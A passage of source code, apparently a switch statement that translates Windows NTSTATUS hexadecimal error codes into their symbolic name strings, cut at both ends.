"STATUS_SECTION_NOT_IMAGE" case 0xC000004A: return "STATUS_SUSPEND_COUNT_EXCEEDED" case 0xC000004B: return "STATUS_THREAD_IS_TERMINATING" case 0xC000004C: return "STATUS_BAD_WORKING_SET_LIMIT" case 0xC000004D: return "STATUS_INCOMPATIBLE_FILE_MAP" case 0xC000004E: return "STATUS_SECTION_PROTECTION" case 0xC000004F: return "STATUS_EAS_NOT_SUPPORTED" case 0xC0000050: return "STATUS_EA_TOO_LARGE" case 0xC0000051: return "STATUS_NONEXISTENT_EA_ENTRY" case 0xC0000052: return "STATUS_NO_EAS_ON_FILE" case 0xC0000053: return "STATUS_EA_CORRUPT_ERROR" case 0xC0000054: return "STATUS_FILE_LOCK_CONFLICT" case 0xC0000055: return "STATUS_LOCK_NOT_GRANTED" case 0xC0000056: return "STATUS_DELETE_PENDING" case 0xC0000057: return "STATUS_CTL_FILE_NOT_SUPPORTED" case 0xC0000058: return "STATUS_UNKNOWN_REVISION" case 0xC0000059: return "STATUS_REVISION_MISMATCH" case 0xC000005A: return "STATUS_INVALID_OWNER" case 0xC000005B: return "STATUS_INVALID_PRIMARY_GROUP" case 0xC000005C: return "STATUS_NO_IMPERSONATION_TOKEN" case 0xC000005D: return "STATUS_CANT_DISABLE_MANDATORY" case 0xC000005E: return "STATUS_NO_LOGON_SERVERS" case 0xC000005F: return "STATUS_NO_SUCH_LOGON_SESSION" case 0xC0000060: return "STATUS_NO_SUCH_PRIVILEGE" case 0xC0000061: return "STATUS_PRIVILEGE_NOT_HELD" case 0xC0000062: return "STATUS_INVALID_ACCOUNT_NAME" case 0xC0000063: return "STATUS_USER_EXISTS" case 0xC0000064: return "STATUS_NO_SUCH_USER" case 0xC0000065: return "STATUS_GROUP_EXISTS" case 0xC0000066: return "STATUS_NO_SUCH_GROUP" case 0xC0000067: return "STATUS_MEMBER_IN_GROUP" case 0xC0000068: return "STATUS_MEMBER_NOT_IN_GROUP" case 0xC0000069: return "STATUS_LAST_ADMIN" case 0xC000006A: return "STATUS_WRONG_PASSWORD" case 0xC000006B: return "STATUS_ILL_FORMED_PASSWORD" case 0xC000006C: return "STATUS_PASSWORD_RESTRICTION" case 0xC000006D: return "STATUS_LOGON_FAILURE" case 0xC000006E: return "STATUS_ACCOUNT_RESTRICTION" case 0xC000006F: return "STATUS_INVALID_LOGON_HOURS" case 0xC0000070: return "STATUS_INVALID_WORKSTATION" case 0xC0000071: return "STATUS_PASSWORD_EXPIRED" case 0xC0000072: return "STATUS_ACCOUNT_DISABLED" case 0xC0000073: return "STATUS_NONE_MAPPED" case 0xC0000074: return "STATUS_TOO_MANY_LUIDS_REQUESTED" case 0xC0000075: return "STATUS_LUIDS_EXHAUSTED" case 0xC0000076: return "STATUS_INVALID_SUB_AUTHORITY" case 0xC0000077: return "STATUS_INVALID_ACL" case 0xC0000078: return "STATUS_INVALID_SID" case 0xC0000079: return "STATUS_INVALID_SECURITY_DESCR" case 0xC000007A: return "STATUS_PROCEDURE_NOT_FOUND" case 0xC000007B: return "STATUS_INVALID_IMAGE_FORMAT" case 0xC000007C: return "STATUS_NO_TOKEN" case 0xC000007D: return "STATUS_BAD_INHERITANCE_ACL" case 0xC000007E: return "STATUS_RANGE_NOT_LOCKED" case 0xC000007F: return "STATUS_DISK_FULL" case 0xC0000080: return "STATUS_SERVER_DISABLED" case 0xC0000081: return "STATUS_SERVER_NOT_DISABLED" case 0xC0000082: return "STATUS_TOO_MANY_GUIDS_REQUESTED" case 0xC0000083: return "STATUS_GUIDS_EXHAUSTED" case 0xC0000084: return "STATUS_INVALID_ID_AUTHORITY" case 0xC0000085: return "STATUS_AGENTS_EXHAUSTED" case 0xC0000086: return "STATUS_INVALID_VOLUME_LABEL" case 0xC0000087: return "STATUS_SECTION_NOT_EXTENDED" case 0xC0000088: return "STATUS_NOT_MAPPED_DATA" case 0xC0000089: return "STATUS_RESOURCE_DATA_NOT_FOUND" case 0xC000008A: return "STATUS_RESOURCE_TYPE_NOT_FOUND" case 0xC000008B: return "STATUS_RESOURCE_NAME_NOT_FOUND" case 0xC000008C: return "STATUS_ARRAY_BOUNDS_EXCEEDED" case 0xC000008D: return "STATUS_FLOAT_DENORMAL_OPERAND" case 0xC000008E: return "STATUS_FLOAT_DIVIDE_BY_ZERO" case 0xC000008F: return "STATUS_FLOAT_INEXACT_RESULT" case 0xC0000090: return "STATUS_FLOAT_INVALID_OPERATION" case 0xC0000091: return "STATUS_FLOAT_OVERFLOW" case 0xC0000092: return "STATUS_FLOAT_STACK_CHECK" case 0xC0000093: return "STATUS_FLOAT_UNDERFLOW" case 0xC0000094: return "STATUS_INTEGER_DIVIDE_BY_ZERO" case 0xC0000095: return "STATUS_INTEGER_OVERFLOW" case 0xC0000096: return "STATUS_PRIVILEGED_INSTRUCTION" case 0xC0000097: return "STATUS_TOO_MANY_PAGING_FILES" case 0xC0000098: return "STATUS_FILE_INVALID" case 0xC0000099: return "STATUS_ALLOTTED_SPACE_EXCEEDED" case 0xC000009A: return "STATUS_INSUFFICIENT_RESOURCES" case 0xC000009B: return "STATUS_DFS_EXIT_PATH_FOUND" case 0xC000009C: return "STATUS_DEVICE_DATA_ERROR" case 0xC000009D: return "STATUS_DEVICE_NOT_CONNECTED" case 0xC000009E: return "STATUS_DEVICE_POWER_FAILURE" case 0xC000009F: return "STATUS_FREE_VM_NOT_AT_BASE" case 0xC00000A0: return "STATUS_MEMORY_NOT_ALLOCATED" case 0xC00000A1: return "STATUS_WORKING_SET_QUOTA" case 0xC00000A2: return "STATUS_MEDIA_WRITE_PROTECTED" case 0xC00000A3: return "STATUS_DEVICE_NOT_READY" case 0xC00000A4: return "STATUS_INVALID_GROUP_ATTRIBUTES" case 0xC00000A5: return "STATUS_BAD_IMPERSONATION_LEVEL" case 0xC00000A6: return "STATUS_CANT_OPEN_ANONYMOUS" case 0xC00000A7: return "STATUS_BAD_VALIDATION_CLASS" case 0xC00000A8: return "STATUS_BAD_TOKEN_TYPE" case 0xC00000A9: return "STATUS_BAD_MASTER_BOOT_RECORD" case 0xC00000AA: return "STATUS_INSTRUCTION_MISALIGNMENT" case 0xC00000AB: return "STATUS_INSTANCE_NOT_AVAILABLE" case 0xC00000AC: return "STATUS_PIPE_NOT_AVAILABLE" case 0xC00000AD: return "STATUS_INVALID_PIPE_STATE" case 0xC00000AE: return "STATUS_PIPE_BUSY" case 0xC00000AF: return "STATUS_ILLEGAL_FUNCTION" case 0xC00000B0: return "STATUS_PIPE_DISCONNECTED" case 0xC00000B1: return "STATUS_PIPE_CLOSING" case 0xC00000B2: return "STATUS_PIPE_CONNECTED" case 0xC00000B3: return "STATUS_PIPE_LISTENING" case 0xC00000B4: return "STATUS_INVALID_READ_MODE" case 0xC00000B5: return "STATUS_IO_TIMEOUT" case 0xC00000B6: return "STATUS_FILE_FORCED_CLOSED" case 0xC00000B7: return "STATUS_PROFILING_NOT_STARTED" case 0xC00000B8: return "STATUS_PROFILING_NOT_STOPPED" case 0xC00000B9: return "STATUS_COULD_NOT_INTERPRET" case 0xC00000BA: return "STATUS_FILE_IS_A_DIRECTORY" case 0xC00000BB: return "STATUS_NOT_SUPPORTED" case 0xC00000BC: return "STATUS_REMOTE_NOT_LISTENING" case 0xC00000BD: return "STATUS_DUPLICATE_NAME" case 0xC00000BE: return "STATUS_BAD_NETWORK_PATH" case 0xC00000BF: return "STATUS_NETWORK_BUSY" case 0xC00000C0: return "STATUS_DEVICE_DOES_NOT_EXIST" case 0xC00000C1: return "STATUS_TOO_MANY_COMMANDS" case 0xC00000C2: return "STATUS_ADAPTER_HARDWARE_ERROR" case 0xC00000C3: return "STATUS_INVALID_NETWORK_RESPONSE" case 0xC00000C4: return "STATUS_UNEXPECTED_NETWORK_ERROR" case 0xC00000C5: return "STATUS_BAD_REMOTE_ADAPTER" case 0xC00000C6: return "STATUS_PRINT_QUEUE_FULL" case 0xC00000C7: return "STATUS_NO_SPOOL_SPACE" case 0xC00000C8: return "STATUS_PRINT_CANCELLED" case 0xC00000C9: return "STATUS_NETWORK_NAME_DELETED" case 0xC00000CA: return "STATUS_NETWORK_ACCESS_DENIED" case 0xC00000CB: return "STATUS_BAD_DEVICE_TYPE" case 0xC00000CC: return "STATUS_BAD_NETWORK_NAME" case 0xC00000CD: return "STATUS_TOO_MANY_NAMES" case 0xC00000CE: return "STATUS_TOO_MANY_SESSIONS" case 0xC00000CF: return "STATUS_SHARING_PAUSED" case 0xC00000D0: return "STATUS_REQUEST_NOT_ACCEPTED" case 0xC00000D1: return "STATUS_REDIRECTOR_PAUSED" case 0xC00000D2: return "STATUS_NET_WRITE_FAULT" case 0xC00000D3: return "STATUS_PROFILING_AT_LIMIT" case 0xC00000D4: return "STATUS_NOT_SAME_DEVICE" case 0xC00000D5: return "STATUS_FILE_RENAMED" case 0xC00000D6: return "STATUS_VIRTUAL_CIRCUIT_CLOSED" case 0xC00000D7: return "STATUS_NO_SECURITY_ON_OBJECT" case 0xC00000D8: return "STATUS_CANT_WAIT" case 0xC00000D9: return "STATUS_PIPE_EMPTY" case 0xC00000DA: return "STATUS_CANT_ACCESS_DOMAIN_INFO" case 0xC00000DB: return "STATUS_CANT_TERMINATE_SELF" case 0xC00000DC: return "STATUS_INVALID_SERVER_STATE" case 0xC00000DD: return "STATUS_INVALID_DOMAIN_STATE" case 0xC00000DE: return "STATUS_INVALID_DOMAIN_ROLE" case 0xC00000DF: return "STATUS_NO_SUCH_DOMAIN" case 0xC00000E0: return "STATUS_DOMAIN_EXISTS" case 0xC00000E1: return "STATUS_DOMAIN_LIMIT_EXCEEDED" case 0xC00000E2: return "STATUS_OPLOCK_NOT_GRANTED" case 0xC00000E3: return "STATUS_INVALID_OPLOCK_PROTOCOL" case 0xC00000E4: return "STATUS_INTERNAL_DB_CORRUPTION" case 0xC00000E5: return "STATUS_INTERNAL_ERROR" case 0xC00000E6: return "STATUS_GENERIC_NOT_MAPPED" case 0xC00000E7: return "STATUS_BAD_DESCRIPTOR_FORMAT" case 0xC00000E8: return "STATUS_INVALID_USER_BUFFER" case 0xC00000E9: return "STATUS_UNEXPECTED_IO_ERROR" case 0xC00000EA: return "STATUS_UNEXPECTED_MM_CREATE_ERR" case 0xC00000EB: return "STATUS_UNEXPECTED_MM_MAP_ERROR" case 0xC00000EC: return "STATUS_UNEXPECTED_MM_EXTEND_ERR" case 0xC00000ED: return "STATUS_NOT_LOGON_PROCESS" case 0xC00000EE: return "STATUS_LOGON_SESSION_EXISTS" case 0xC00000EF: return "STATUS_INVALID_PARAMETER_1" case 0xC00000F0: return "STATUS_INVALID_PARAMETER_2" case 0xC00000F1: return "STATUS_INVALID_PARAMETER_3" case 0xC00000F2: return "STATUS_INVALID_PARAMETER_4" case 0xC00000F3: return "STATUS_INVALID_PARAMETER_5" case 0xC00000F4: return "STATUS_INVALID_PARAMETER_6" case 0xC00000F5: return "STATUS_INVALID_PARAMETER_7" case 0xC00000F6: return "STATUS_INVALID_PARAMETER_8" case 0xC00000F7: return "STATUS_INVALID_PARAMETER_9" case 0xC00000F8: return "STATUS_INVALID_PARAMETER_10" case 0xC00000F9: return "STATUS_INVALID_PARAMETER_11" case 0xC00000FA: return "STATUS_INVALID_PARAMETER_12" case 0xC00000FB: return "STATUS_REDIRECTOR_NOT_STARTED" case 0xC00000FC: return "STATUS_REDIRECTOR_STARTED" case 0xC00000FD: return "STATUS_STACK_OVERFLOW" case 0xC00000FE: return "STATUS_NO_SUCH_PACKAGE" case 0xC00000FF: return "STATUS_BAD_FUNCTION_TABLE" case 0xC0000100: return "STATUS_VARIABLE_NOT_FOUND" case 0xC0000101: return "STATUS_DIRECTORY_NOT_EMPTY" case 0xC0000102: return "STATUS_FILE_CORRUPT_ERROR" case 0xC0000103: return "STATUS_NOT_A_DIRECTORY" case 0xC0000104: return "STATUS_BAD_LOGON_SESSION_STATE" case 0xC0000105: return "STATUS_LOGON_SESSION_COLLISION" case 0xC0000106: return "STATUS_NAME_TOO_LONG" case 0xC0000107: return "STATUS_FILES_OPEN" case 0xC0000108: return "STATUS_CONNECTION_IN_USE" case 0xC0000109: return "STATUS_MESSAGE_NOT_FOUND" case 0xC000010A: return "STATUS_PROCESS_IS_TERMINATING" case 0xC000010B: return "STATUS_INVALID_LOGON_TYPE" case 0xC000010C: return "STATUS_NO_GUID_TRANSLATION" case 0xC000010D: return "STATUS_CANNOT_IMPERSONATE" case 0xC000010E: return "STATUS_IMAGE_ALREADY_LOADED" case 0xC000010F: return "STATUS_ABIOS_NOT_PRESENT" case 0xC0000110: return "STATUS_ABIOS_LID_NOT_EXIST" case 0xC0000111: return "STATUS_ABIOS_LID_ALREADY_OWNED" case 0xC0000112: return "STATUS_ABIOS_NOT_LID_OWNER" case 0xC0000113: return "STATUS_ABIOS_INVALID_COMMAND" case 0xC0000114: return "STATUS_ABIOS_INVALID_LID" case 0xC0000115: return "STATUS_ABIOS_SELECTOR_NOT_AVAILABLE" case 0xC0000116: return "STATUS_ABIOS_INVALID_SELECTOR" case 0xC0000117: return "STATUS_NO_LDT" case 0xC0000118: return "STATUS_INVALID_LDT_SIZE" case 0xC0000119: return "STATUS_INVALID_LDT_OFFSET" case 0xC000011A: return "STATUS_INVALID_LDT_DESCRIPTOR" case 0xC000011B: return "STATUS_INVALID_IMAGE_NE_FORMAT" case 0xC000011C: return "STATUS_RXACT_INVALID_STATE" case 0xC000011D: return "STATUS_RXACT_COMMIT_FAILURE" case 0xC000011E: return "STATUS_MAPPED_FILE_SIZE_ZERO" case 0xC000011F: return "STATUS_TOO_MANY_OPENED_FILES" case 0xC0000120: return "STATUS_CANCELLED" case 0xC0000121: return "STATUS_CANNOT_DELETE" case 0xC0000122: return "STATUS_INVALID_COMPUTER_NAME" case 0xC0000123: return "STATUS_FILE_DELETED" case 0xC0000124: return "STATUS_SPECIAL_ACCOUNT" case 0xC0000125: return "STATUS_SPECIAL_GROUP" case 0xC0000126: return "STATUS_SPECIAL_USER" case 0xC0000127: return "STATUS_MEMBERS_PRIMARY_GROUP" case 0xC0000128: return "STATUS_FILE_CLOSED" case 0xC0000129: return "STATUS_TOO_MANY_THREADS" case 0xC000012A: return "STATUS_THREAD_NOT_IN_PROCESS" case 0xC000012B: return "STATUS_TOKEN_ALREADY_IN_USE" case 0xC000012C: return "STATUS_PAGEFILE_QUOTA_EXCEEDED" case 0xC000012D: return "STATUS_COMMITMENT_LIMIT" case 0xC000012E: return "STATUS_INVALID_IMAGE_LE_FORMAT" case 0xC000012F: return "STATUS_INVALID_IMAGE_NOT_MZ" case 0xC0000130: return "STATUS_INVALID_IMAGE_PROTECT" case 0xC0000131: return "STATUS_INVALID_IMAGE_WIN_16" case 0xC0000132: return "STATUS_LOGON_SERVER_CONFLICT" case 0xC0000133: return "STATUS_TIME_DIFFERENCE_AT_DC" case 0xC0000134: return "STATUS_SYNCHRONIZATION_REQUIRED" case 0xC0000135: return "STATUS_DLL_NOT_FOUND" case 0xC0000136: return "STATUS_OPEN_FAILED" case 0xC0000137: return "STATUS_IO_PRIVILEGE_FAILED" case 0xC0000138: return "STATUS_ORDINAL_NOT_FOUND" case 0xC0000139: return "STATUS_ENTRYPOINT_NOT_FOUND" case 0xC000013A: return "STATUS_CONTROL_C_EXIT" case 0xC000013B: return "STATUS_LOCAL_DISCONNECT" case 0xC000013C: return "STATUS_REMOTE_DISCONNECT" case 0xC000013D: return "STATUS_REMOTE_RESOURCES" case 0xC000013E: return "STATUS_LINK_FAILED" case 0xC000013F: return "STATUS_LINK_TIMEOUT" case 0xC0000140: return "STATUS_INVALID_CONNECTION" case 0xC0000141: return "STATUS_INVALID_ADDRESS" case 0xC0000142: return "STATUS_DLL_INIT_FAILED" case 0xC0000143: return "STATUS_MISSING_SYSTEMFILE" case 0xC0000144: return "STATUS_UNHANDLED_EXCEPTION" case 0xC0000145: return "STATUS_APP_INIT_FAILURE" case 0xC0000146: return "STATUS_PAGEFILE_CREATE_FAILED" case 0xC0000147: return "STATUS_NO_PAGEFILE" case 0xC0000148: return "STATUS_INVALID_LEVEL" case 0xC0000149: return "STATUS_WRONG_PASSWORD_CORE" case 0xC000014A: return "STATUS_ILLEGAL_FLOAT_CONTEXT" case 0xC000014B: return "STATUS_PIPE_BROKEN" case 0xC000014C: return "STATUS_REGISTRY_CORRUPT" case 0xC000014D: return "STATUS_REGISTRY_IO_FAILED" case 0xC000014E: return "STATUS_NO_EVENT_PAIR" case 0xC000014F: return "STATUS_UNRECOGNIZED_VOLUME" case 0xC0000150: return "STATUS_SERIAL_NO_DEVICE_INITED" case 0xC0000151: return "STATUS_NO_SUCH_ALIAS" case 0xC0000152: return "STATUS_MEMBER_NOT_IN_ALIAS" case 0xC0000153: return "STATUS_MEMBER_IN_ALIAS" case 0xC0000154: return "STATUS_ALIAS_EXISTS" case 0xC0000155: return "STATUS_LOGON_NOT_GRANTED" case 0xC0000156: return "STATUS_TOO_MANY_SECRETS" case 0xC0000157: return "STATUS_SECRET_TOO_LONG" case 0xC0000158: return "STATUS_INTERNAL_DB_ERROR" case 0xC0000159: return "STATUS_FULLSCREEN_MODE" case 0xC000015A: return "STATUS_TOO_MANY_CONTEXT_IDS" case 0xC000015B: return "STATUS_LOGON_TYPE_NOT_GRANTED" case 0xC000015C: return "STATUS_NOT_REGISTRY_FILE" case 0xC000015D: return "STATUS_NT_CROSS_ENCRYPTION_REQUIRED" case 0xC000015E: return "STATUS_DOMAIN_CTRLR_CONFIG_ERROR" case 0xC000015F: return "STATUS_FT_MISSING_MEMBER" case 0xC0000160: return "STATUS_ILL_FORMED_SERVICE_ENTRY" case 0xC0000161: return "STATUS_ILLEGAL_CHARACTER" case 0xC0000162: return "STATUS_UNMAPPABLE_CHARACTER" case 0xC0000163: return "STATUS_UNDEFINED_CHARACTER" case 0xC0000164: return "STATUS_FLOPPY_VOLUME" case 0xC0000165: return "STATUS_FLOPPY_ID_MARK_NOT_FOUND" case 0xC0000166: return "STATUS_FLOPPY_WRONG_CYLINDER" case 0xC0000167: return "STATUS_FLOPPY_UNKNOWN_ERROR" case 0xC0000168: return "STATUS_FLOPPY_BAD_REGISTERS" case 0xC0000169: return "STATUS_DISK_RECALIBRATE_FAILED" case 0xC000016A: return "STATUS_DISK_OPERATION_FAILED" case 0xC000016B: return "STATUS_DISK_RESET_FAILED" case 0xC000016C: return "STATUS_SHARED_IRQ_BUSY" case 0xC000016D: return "STATUS_FT_ORPHANING" case 0xC000016E: return "STATUS_BIOS_FAILED_TO_CONNECT_INTERRUPT" case 0xC0000172: return "STATUS_PARTITION_FAILURE" case 0xC0000173: return "STATUS_INVALID_BLOCK_LENGTH" case 0xC0000174: return "STATUS_DEVICE_NOT_PARTITIONED" case 0xC0000175: return "STATUS_UNABLE_TO_LOCK_MEDIA" case 0xC0000176: return "STATUS_UNABLE_TO_UNLOAD_MEDIA" case 0xC0000177: return "STATUS_EOM_OVERFLOW" case 0xC0000178: return "STATUS_NO_MEDIA" case 0xC000017A: return "STATUS_NO_SUCH_MEMBER" case 0xC000017B: return "STATUS_INVALID_MEMBER" case 0xC000017C: return "STATUS_KEY_DELETED" case 0xC000017D: return "STATUS_NO_LOG_SPACE" case 0xC000017E: return "STATUS_TOO_MANY_SIDS" case 0xC000017F: return "STATUS_LM_CROSS_ENCRYPTION_REQUIRED" case 0xC0000180: return "STATUS_KEY_HAS_CHILDREN" case 0xC0000181: return "STATUS_CHILD_MUST_BE_VOLATILE" case 0xC0000182: return "STATUS_DEVICE_CONFIGURATION_ERROR" case 0xC0000183: return "STATUS_DRIVER_INTERNAL_ERROR" case 0xC0000184: return "STATUS_INVALID_DEVICE_STATE" case 0xC0000185: return "STATUS_IO_DEVICE_ERROR" case 0xC0000186: return "STATUS_DEVICE_PROTOCOL_ERROR" case 0xC0000187: return "STATUS_BACKUP_CONTROLLER" case 0xC0000188: return "STATUS_LOG_FILE_FULL" case 0xC0000189: return "STATUS_TOO_LATE" case 0xC000018A: return "STATUS_NO_TRUST_LSA_SECRET" case 0xC000018B: return "STATUS_NO_TRUST_SAM_ACCOUNT" case 0xC000018C: return "STATUS_TRUSTED_DOMAIN_FAILURE" case 0xC000018D: return "STATUS_TRUSTED_RELATIONSHIP_FAILURE" case 0xC000018E: return "STATUS_EVENTLOG_FILE_CORRUPT" case 0xC000018F: return "STATUS_EVENTLOG_CANT_START" case 0xC0000190: return "STATUS_TRUST_FAILURE" case 0xC0000191: return "STATUS_MUTANT_LIMIT_EXCEEDED" case 0xC0000192: return "STATUS_NETLOGON_NOT_STARTED" case 0xC0000193: return "STATUS_ACCOUNT_EXPIRED" case 0xC0000194: return "STATUS_POSSIBLE_DEADLOCK" case 0xC0000195: return "STATUS_NETWORK_CREDENTIAL_CONFLICT" case 0xC0000196: return "STATUS_REMOTE_SESSION_LIMIT" case 0xC0000197: return "STATUS_EVENTLOG_FILE_CHANGED" case 0xC0000198: return "STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT" case 0xC0000199: return "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" case 0xC000019A: return "STATUS_NOLOGON_SERVER_TRUST_ACCOUNT" case 0xC000019B: return "STATUS_DOMAIN_TRUST_INCONSISTENT" case 0xC000019C: return "STATUS_FS_DRIVER_REQUIRED" case 0xC0000202: return "STATUS_NO_USER_SESSION_KEY" case 0xC0000203: return "STATUS_USER_SESSION_DELETED" case 0xC0000204: return "STATUS_RESOURCE_LANG_NOT_FOUND" case 0xC0000205: return "STATUS_INSUFF_SERVER_RESOURCES" case 0xC0000206: return "STATUS_INVALID_BUFFER_SIZE" case 0xC0000207: return "STATUS_INVALID_ADDRESS_COMPONENT" case 0xC0000208: return "STATUS_INVALID_ADDRESS_WILDCARD" case 0xC0000209: return "STATUS_TOO_MANY_ADDRESSES" case 0xC000020A: return "STATUS_ADDRESS_ALREADY_EXISTS" case 0xC000020B: return "STATUS_ADDRESS_CLOSED" case 0xC000020C: return "STATUS_CONNECTION_DISCONNECTED" case 0xC000020D: return "STATUS_CONNECTION_RESET" case 0xC000020E: return "STATUS_TOO_MANY_NODES" case 0xC000020F: return "STATUS_TRANSACTION_ABORTED" case 0xC0000210: return "STATUS_TRANSACTION_TIMED_OUT" case 0xC0000211: return "STATUS_TRANSACTION_NO_RELEASE" case 0xC0000212: return "STATUS_TRANSACTION_NO_MATCH" case 0xC0000213: return "STATUS_TRANSACTION_RESPONDED" case 0xC0000214: return "STATUS_TRANSACTION_INVALID_ID" case 0xC0000215: return "STATUS_TRANSACTION_INVALID_TYPE" case 0xC0000216: return "STATUS_NOT_SERVER_SESSION" case 0xC0000217: return "STATUS_NOT_CLIENT_SESSION" case 0xC0000218: return "STATUS_CANNOT_LOAD_REGISTRY_FILE" case 0xC0000219: return "STATUS_DEBUG_ATTACH_FAILED" case 0xC000021A: return "STATUS_SYSTEM_PROCESS_TERMINATED" case 0xC000021B: return "STATUS_DATA_NOT_ACCEPTED" case 0xC000021C: return "STATUS_NO_BROWSER_SERVERS_FOUND" case 0xC000021D: return "STATUS_VDM_HARD_ERROR" case 0xC000021E: return "STATUS_DRIVER_CANCEL_TIMEOUT" case 0xC000021F: return "STATUS_REPLY_MESSAGE_MISMATCH" case 0xC0000220: return "STATUS_MAPPED_ALIGNMENT" case 0xC0000221: return "STATUS_IMAGE_CHECKSUM_MISMATCH" case 0xC0000222: return "STATUS_LOST_WRITEBEHIND_DATA" case 0xC0000223: return "STATUS_CLIENT_SERVER_PARAMETERS_INVALID" case 0xC0000224: return "STATUS_PASSWORD_MUST_CHANGE" case 0xC0000225: return "STATUS_NOT_FOUND" case 0xC0000226: return "STATUS_NOT_TINY_STREAM" case 0xC0000227: return "STATUS_RECOVERY_FAILURE" case 0xC0000228: return "STATUS_STACK_OVERFLOW_READ" case 0xC0000229: return "STATUS_FAIL_CHECK" case 0xC000022A: return "STATUS_DUPLICATE_OBJECTID" case 0xC000022B: return "STATUS_OBJECTID_EXISTS" case 0xC000022C: return "STATUS_CONVERT_TO_LARGE" case 0xC000022D: return "STATUS_RETRY" case 0xC000022E: return "STATUS_FOUND_OUT_OF_SCOPE" case 0xC000022F: return "STATUS_ALLOCATE_BUCKET" case 0xC0000230: return "STATUS_PROPSET_NOT_FOUND" case 0xC0000231: return "STATUS_MARSHALL_OVERFLOW" case 0xC0000232: return "STATUS_INVALID_VARIANT" case 0xC0000233: return "STATUS_DOMAIN_CONTROLLER_NOT_FOUND" case 0xC0000234: return "STATUS_ACCOUNT_LOCKED_OUT" case 0xC0000235: return "STATUS_HANDLE_NOT_CLOSABLE" case 0xC0000236: return "STATUS_CONNECTION_REFUSED" case 0xC0000237: return "STATUS_GRACEFUL_DISCONNECT" case 0xC0000238: return "STATUS_ADDRESS_ALREADY_ASSOCIATED" case 0xC0000239: return "STATUS_ADDRESS_NOT_ASSOCIATED" case 0xC000023A: return "STATUS_CONNECTION_INVALID" case 0xC000023B: return "STATUS_CONNECTION_ACTIVE" case 0xC000023C: return "STATUS_NETWORK_UNREACHABLE" case 0xC000023D: return "STATUS_HOST_UNREACHABLE" case 0xC000023E: return "STATUS_PROTOCOL_UNREACHABLE" case 0xC000023F: return "STATUS_PORT_UNREACHABLE" case 0xC0000240: return "STATUS_REQUEST_ABORTED" case 0xC0000241: return "STATUS_CONNECTION_ABORTED" case 0xC0000242: return "STATUS_BAD_COMPRESSION_BUFFER" case 0xC0000243: return "STATUS_USER_MAPPED_FILE" case 0xC0000244: return "STATUS_AUDIT_FAILED" case 0xC0000245: return "STATUS_TIMER_RESOLUTION_NOT_SET" case 0xC0000246: return "STATUS_CONNECTION_COUNT_LIMIT" case 0xC0000247: return "STATUS_LOGIN_TIME_RESTRICTION" case 0xC0000248: return "STATUS_LOGIN_WKSTA_RESTRICTION" case 0xC0000249: return "STATUS_IMAGE_MP_UP_MISMATCH" case 0xC0000250: return "STATUS_INSUFFICIENT_LOGON_INFO" case 0xC0000251: return "STATUS_BAD_DLL_ENTRYPOINT" case 0xC0000252: return "STATUS_BAD_SERVICE_ENTRYPOINT" case 0xC0000253: return "STATUS_LPC_REPLY_LOST" case 0xC0000254: return "STATUS_IP_ADDRESS_CONFLICT1" case 0xC0000255: return "STATUS_IP_ADDRESS_CONFLICT2" case 0xC0000256: return "STATUS_REGISTRY_QUOTA_LIMIT" case 0xC0000257: return "STATUS_PATH_NOT_COVERED" case 0xC0000258: return "STATUS_NO_CALLBACK_ACTIVE" case 0xC0000259: return "STATUS_LICENSE_QUOTA_EXCEEDED" case 0xC000025A: return "STATUS_PWD_TOO_SHORT" case 0xC000025B: return "STATUS_PWD_TOO_RECENT" case 0xC000025C: return "STATUS_PWD_HISTORY_CONFLICT" case 0xC000025E: return "STATUS_PLUGPLAY_NO_DEVICE" case 0xC000025F: return "STATUS_UNSUPPORTED_COMPRESSION" case 0xC0000260: return "STATUS_INVALID_HW_PROFILE" case 0xC0000261: return "STATUS_INVALID_PLUGPLAY_DEVICE_PATH" case 0xC0000262: return "STATUS_DRIVER_ORDINAL_NOT_FOUND" case 0xC0000263: return "STATUS_DRIVER_ENTRYPOINT_NOT_FOUND" case 0xC0000264: return "STATUS_RESOURCE_NOT_OWNED" case 0xC0000265: return "STATUS_TOO_MANY_LINKS" case 0xC0000266: return "STATUS_QUOTA_LIST_INCONSISTENT" case 0xC0000267: return "STATUS_FILE_IS_OFFLINE" case 0xC0000268: return "STATUS_EVALUATION_EXPIRATION" case 0xC0000269: return "STATUS_ILLEGAL_DLL_RELOCATION" case 0xC000026A: return "STATUS_LICENSE_VIOLATION" case 0xC000026B: return "STATUS_DLL_INIT_FAILED_LOGOFF" case 0xC000026C: return "STATUS_DRIVER_UNABLE_TO_LOAD" case 0xC000026D: return "STATUS_DFS_UNAVAILABLE" case 0xC000026E: return "STATUS_VOLUME_DISMOUNTED" case 0xC000026F: return "STATUS_WX86_INTERNAL_ERROR" case 0xC0000270: return "STATUS_WX86_FLOAT_STACK_CHECK" case 0xC0000271: return "STATUS_VALIDATE_CONTINUE" case 0xC0000272: return "STATUS_NO_MATCH" case 0xC0000273: return "STATUS_NO_MORE_MATCHES" case 0xC0000275: return "STATUS_NOT_A_REPARSE_POINT" case 0xC0000276: return "STATUS_IO_REPARSE_TAG_INVALID" case 0xC0000277: return "STATUS_IO_REPARSE_TAG_MISMATCH" case 0xC0000278: return "STATUS_IO_REPARSE_DATA_INVALID" case 0xC0000279: return "STATUS_IO_REPARSE_TAG_NOT_HANDLED" case 0xC0000280: return "STATUS_REPARSE_POINT_NOT_RESOLVED" case 0xC0000281: return "STATUS_DIRECTORY_IS_A_REPARSE_POINT" case 0xC0000282: return "STATUS_RANGE_LIST_CONFLICT" case 0xC0000283: return "STATUS_SOURCE_ELEMENT_EMPTY" case 0xC0000284: return "STATUS_DESTINATION_ELEMENT_FULL" case 0xC0000285: return "STATUS_ILLEGAL_ELEMENT_ADDRESS" case 0xC0000286: return "STATUS_MAGAZINE_NOT_PRESENT" case 0xC0000287: return "STATUS_REINITIALIZATION_NEEDED" case 0x80000288: return "STATUS_DEVICE_REQUIRES_CLEANING" case 0x80000289: return "STATUS_DEVICE_DOOR_OPEN" case 0xC000028A: return "STATUS_ENCRYPTION_FAILED" case 0xC000028B: return "STATUS_DECRYPTION_FAILED" case 0xC000028C: return "STATUS_RANGE_NOT_FOUND" case 0xC000028D: return "STATUS_NO_RECOVERY_POLICY" case 0xC000028E: return "STATUS_NO_EFS" case 0xC000028F: return "STATUS_WRONG_EFS" case 0xC0000290: return "STATUS_NO_USER_KEYS" case 0xC0000291: return "STATUS_FILE_NOT_ENCRYPTED" case 0xC0000292: return "STATUS_NOT_EXPORT_FORMAT" case 0xC0000293: return "STATUS_FILE_ENCRYPTED" case 0x40000294: return 